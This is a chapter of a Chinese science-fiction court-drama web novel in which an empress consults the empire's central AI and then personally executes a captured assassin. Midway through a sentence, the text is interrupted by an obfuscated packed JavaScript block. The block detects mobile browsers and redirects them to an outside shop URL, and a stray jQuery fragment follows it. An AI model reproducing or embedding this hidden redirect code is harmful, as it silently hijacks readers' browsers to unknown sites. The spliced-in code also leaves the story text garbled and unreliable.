冬去春来,冰雪消融。
今朝又是好气象。
白鸽纪元9157年2月22日。
距离皇帝醒来已经过去两天了。
而今天不出意外的意外是,陛下与以前一样放了大朝会的鸽子。所有参会人员都知道皇帝讨厌开会,乃至于只有登基的前三年认认真真参加过每一场会议,而其后的几年大多都由皇后代理。
但是皇后已经死啦!
从五天前开始自全国各地发来的电子奏折,家长里短,地方治要,军政大事,不会再经过第三方的筛选将直接全部堆到皇帝的光脑里。
所以今天这场朝会是专门为皇帝陛下准备的。
……
“伊先生,陛下今日仍不露面可是身体又不虞?”
“陛下多日不现,如何给群臣一个交代呀?”
“陛下!”
“陛下……”
“陛下……!”
伊西斯焦头烂额拦住想要前往皇帝寝宫觐见的大臣们。
江昭愿此刻正在太阳宫的最里处。
巨大的青鸟雕像拔地而起,屹立在穹顶之前。穹顶下是一片没有尽头的幽暗,无数纤细的光束如瀑布逆流,从四面八方倾泻而下,汇聚于大厅中央唯一的焦点——一颗悬浮于半空中缓慢旋转的光体。
主脑。
帝国最伟大的“神灵”,连接着全大陆光子系统的主控中心。
画在天穹帝国旗帜上的青鸟不过是一个象征,寓意着天穹统治青鸟大陆的时代开始。
而此刻展现在女皇陛下眼前的才是人类迄今为止最伟大的发明。
江昭愿在光球前停下脚步。
“如果您认可我的作为,就保佑我吧。”
她在向一个科技产物进行祈祷,光脑的算法不会停止,它在永无止境凝视着眼前的女人。
“青鸟啊青鸟!吾将您的沉默视为默许,希望您保佑战争的胜利,帝国的子民将永远叹服于您。”
“谨听您的教诲,人类不会驯服科技,科技也无法掌控人类。”
江昭愿双手合十闭上眼睛,在漂浮微光中念念叨叨。
“嗡嗡嗡。”
突然她左手腕上的光脑震动,紧接着半空中的屏幕浮现出长长的一段语音。
来自她的贴身侍官兼内阁总管,伊西斯。
“尊敬的陛下,您可还记得今天是内阁贵族朝会的日子,如果您再不现身我想大臣们快把您的太阳宫给炸掉了……等等斯里兰卡女士哦不白首席请允许我先跟陛下通话好的谢谢……哦我亲爱的女皇,原谅臣擅自主张为您安排下来了未来两天的接待任务,大臣们将在一刻钟后离去。您先前要求的车祸主犯已经命人押下,您要在哪里审问他?”
太阳宫西翼的书房里。
女皇陛下姗姗来迟终于落座,及时从大臣中脱身的伊西斯恭敬倒上茶水。
两名武装齐全的军官拖拽着一位姿容狼狈的男人按倒在地。
“都查清楚了?”
车祸并非偶然。事发的第一时间与江岁一同出行的所有侍官以及护卫军都被控制起来。
只需要派人检查就能发现悬浮车的控制台提前被做了手脚。
“我很高兴你们竟然有胆量在帝都行刺。”
皇帝陛下的语气不轻不重,情绪淡然到这就像是一次普通的谈话交流。当然,这也许不意味着接下来有好事发生,中心城的贵族大人们都知道,女皇头疾越发严重,性格也喜怒无常,阴晴不定。
“伊赛尔·凯特,在职八年。”
军官一言不发垂下头。
“没有什么想说的吗?”
左手边的军官踹了一脚地上的男人,拽着他的头发逼迫他抬起头。
谢天谢地,女皇终于看清了他的脸。
一张平平无奇,仿佛200个人的人群里会有200个人都长这个样子的脸。
天生刺杀的好料子,江昭愿冷不丁想到。
“陛下,如果他执意不肯开口……”伊西斯给出建议。
“不用,退下吧。”
“!陛下!”伊西斯不可置信抬头。
“不要让我说第二遍。”
书房的门轻轻开启又合上,伊西斯只来得及从尚未关上的门缝里看到皇帝悠然起身,站在了伊赛尔·凯特身前。
“现在只有我们两个人了。”凯特目之所及处都被阴影笼罩,他仍旧低着头像只被锯了嗓子的鸭子一言不发。
“不要过度紧张凯特先生,朕只是想请你答疑解惑罢了。上一次的军官考试你是第一名,如果不出意外今年就会升职进入军部,是什么让你放弃了你的梦想呢?”
江昭愿语气亲和柔缓,仿若在和老友聊天般轻松。
伊赛尔·凯特,凯特家族的长子。
这个家族不是中心城的原住民,而是从西边迁徙来的。那已经是几十年前的事情了,她的祖父先先帝在位时曾给她的母皇定下了一门亲事,是位金发紫眼的西边贵族,听说是开国那会的功勋,家主主动回老家守着的。
年轻小伙奉召进京,呼啦啦带了一群人,又引进了一批外来的新星家族年轻血脉。
凯特家族就是那会出现的。
不过后来金发紫眼的英年早逝,失去庇护且家族的后代并不出众的凯特慢慢查无此人。
江昭愿想起往事太阳穴就突突刺痛,不耐烦的目光再次落到眼前人身上。
“朕记得你励志要振兴家族的。”
伊赛尔反束缚在背后的手紧握成拳头。
老凯特是位纯粹的商人,仅仅接手了家里的产业。凯特夫人则是研究院的中层干部,在伊赛尔下面还有两个弟弟一个妹妹。
伊赛尔·凯特这位平平无奇的老大,没有像父亲一样对商业的敏锐,也不像母亲一样对研究多么热爱,所以他义无反顾进入了皇宫,成为皇帝的护卫军。
护卫军有一条独特的路线,在职5年之后可以通过考试,前三名者有选择加入第三军的资格。
“陛下”,凯特扑通
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614825|206054||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
磕倒在地,“臣做这些事情与家中无关,恳求陛下放过臣一家老小。”
“这件事情的主谋只我一人,陛下!陛下!皇后干涉朝政已久,属下这是为您分忧啊。”
“哦,是吗?”江昭愿拖长声音,悠悠扬扬像悬在半空中迟迟不落的铡刀,“那么亲爱的骑士既然你们异口同声指认这是一次针对皇后的刺杀行为,谁能告诉我,是谁告诉你们那辆悬浮车上坐着的一定是皇后。”
磕头声戛然而止,伊塞尔·凯特忽然全身颤抖起来。
伊西斯听到屋内的枪声不顾皇帝的禁令推开门。
脑袋上顶着一个血洞的凯特瘫倒在地,皇帝轻描淡写放下手中的枪支,示意侍官将书房清理干净。
“不用审问了,把牢中的全部处死吧。”
伊西斯吃惊抬头:“陛下?”
“你觉得他们又能问出什么呢?不过一群被当做枪使的蠢货。”
这并不是一次公开的慰问行动,又或者说二者都不是。
江昭愿靠在黑色天鹅绒的座椅上,苍白的手支着脑袋沉思。
帝国一共有七支军队,第一军天枢现下就在前线,第二军天璇属于预备役状态,第三军天玑常年守在中心城,第四军天权,第五军玉衡,第六军开阳,第七军瑶光。
原定计划是由皇帝陛下以私人名义拜访第四军的将领,并商讨前线作战事宜。
但因为某些特殊因素,出现在属于皇帝规格悬浮车队上的人变成了江岁。
而她在一个小时后接到元帅府的致电,元帅病了,老元帅对于她亦师亦父恩重如山前往探望理所应当。
江昭愿又想到书中未来元帅府的倒戈,太阳穴跳个不停,她同样相信老元帅的忠心,但不敢打包票他的后人尤其是他的两位女儿的选择。
虽然说不建议元帅的女儿同样加封元帅,容易造成上升通道垄断,但谁让人家优秀呢。
江昭愿肯定她未来的作为,她会选择林绥成为新的帝国之刃并不奇怪,林绥作为年轻一辈的佼佼者,29岁上将出任第一军团长,打赢过等大小战役数不胜数。
同样这次作战,林绥也依旧指挥第一军坐镇前线。
此战若胜,中心城也可以收拾收拾为她准备加冕仪式了。
该死的江岁!
江昭愿气结。
书房内只有一盏桌上的暖光灯亮着,伊西斯风尘仆仆走进来掀起卷凉意。
“陛下,官方声明您该过目了。”
什么声明?
皇帝疑惑的目光直直落在伊西斯身上。
“关于……皇后车祸事件的声明,以及葬礼,额。”他打了个磕巴,侧身打开了书房的投屏,巨大的文章呈现在眼前。
“都处死了?”江昭愿招手示意他上前。
伊西斯:“是的陛下。”
江昭愿:“很好,你有新的任务了,让公关部把这篇狗屁不通的通稿全部推翻重写。”
伊西斯:?
江昭愿:“按我的要求。”